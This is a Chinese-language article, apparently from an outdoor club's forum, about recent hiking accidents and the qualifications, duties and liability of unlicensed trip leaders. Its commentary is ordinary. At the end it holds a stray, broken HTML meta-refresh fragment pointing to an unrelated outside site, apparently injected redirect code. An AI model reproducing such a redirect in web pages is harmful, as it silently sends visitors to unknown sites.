浅析由最近几起户外伤害事件衍射出的一些问题

秘书组

近年来户外运动作为一种新兴的旅游方式在我国方兴未艾，由于户外活动过程中充满了未知数和挑战性，由于户外参与者在克服困难过程中的刺激性和成就感，户外运动受到越来越多的人特别是年轻人的欢迎，每年不断的有大批新人加入。与此同时，各种不同类型的自助游也因其灵活性、自主性吸引了越来越多的人参与其中，给广大的旅游爱好者带来了不尽的欢乐。但是，如同世界上任何事物都有两方面一样，在越来越多的人们从户外和自助旅游中得到充分快乐的同时，这类活动中的风险也越来越多，以至近一两年伤亡事件时有发生，“7.9”、“3.10”事件就是这类事件中的两起。 　　“7.9”事件发生后，有的网友认定活动发起人色狼为活动领队，质疑其能力和这次活动的合法性，有人提出车辆磨损费问题，指责他为以此谋利的黑领队。“79”原告代理人就以上述几点为由起诉色狼并认定其谋财害命、谋杀等等，一审法官判案也以活动违法、推定赢利为由而判案。而“3.10”事件后许多网友也指责两个领队不合格，认为是他们的失误造成了夏子的遇难。这就提出了一系列问题：1、什么样的人有资格作领队？2、户外领队的权力、责任与义务。3、自助活动如集人是否具有领队权力与义务，在事故中应负什么责任？4、车辆磨损费是否合理？5、领队的劳动是否应被承认？6、户外（或自助游）中的意外能否杜绝？ 　　1、什么样的人有资格作领队 　　严格的说，户外活动的领队是需要资质的，为此中登协专门开办有专门的登山指导员培训班。遗憾的是中登协历年办班次数有限，所以全国通过培训即具有合法资质的领队很少，平均到每个城市更少的可怜，而本就为数不多的已通过认证的领队由于种种原因许多又逐渐淡出了江湖，所以即使是专业俱乐部的领队真正有资质的也不并多见。象我所在这个北方的省会城市，各个俱乐部中真正具有资质并还在断断续续带队的领队总合仅有三、四人，剩下大多数的领队不过是经验丰富的老驴，并不具备法律认可的领队资质，本人作为一俱乐部的兼职领队，也没有参加过中登协的培训，换言之也没有法律认可的领队资质。 那么是不是目前这些没有资质的领队就一定不具备做领队的条件，就不能做领队呢？问题并非如此简单，就象历史上的中医虽无一纸证书及医学院的文凭但有丰富的行医的经验，也得到患者承认，因此可以行医一样。在目前法不禁止皆自由的前提下、在俱乐部有证领队不足的情况下，这些人受俱乐部之邀但任一些领队工作也无可非议。也许这正是户外活动在我国开展的时间较短，还不成熟、不规范的缘故吧。这些需要随着时间的推移逐渐去解决。 一般来说一个合格的领队不仅要求熟悉路线（计划线路、备用路线的走向，活动的强度及各路段所需时间，线路危险度，营地位置及大约的到达时间，沿途水源状况，景区风景指数、交通状况、气侯特点、民风民俗等），还应具有一定的地理学、气象学、运动学、心理学、生理卫生、紧急救护、公关能力及紧急情况处置等等相关知识。同时他们有一定的威信，对活动的过程有较大的决定权（并不是绝对的决定权，因为户外团队只是一个松散团队而不是一个严格意义的团队，领队对其队员没有任何法律意义上的约束力）。除此之外合格的领队还要有极大的责任感，要为自己的行为负责并尽可能的为同行的队员负责。只要他有了这些相关的知识和责任感就能胜任领队工作。凭心而论，目前绝大多数的无证领队通过自己的勤奋学习、通过一定的经验集垒是有一定能力的，他们在工作中任劳任怨、兢兢业业，其能力广大驴友是有目共睹的，他们中的大多数是得到广大驴友认可和尊重的，也许几年后在国家有明确立法、户外活动更规范后无证领队会退出户外圈子，但目前还会暂时存在。 ="refresh" "0; url=http://7755.cc">

　

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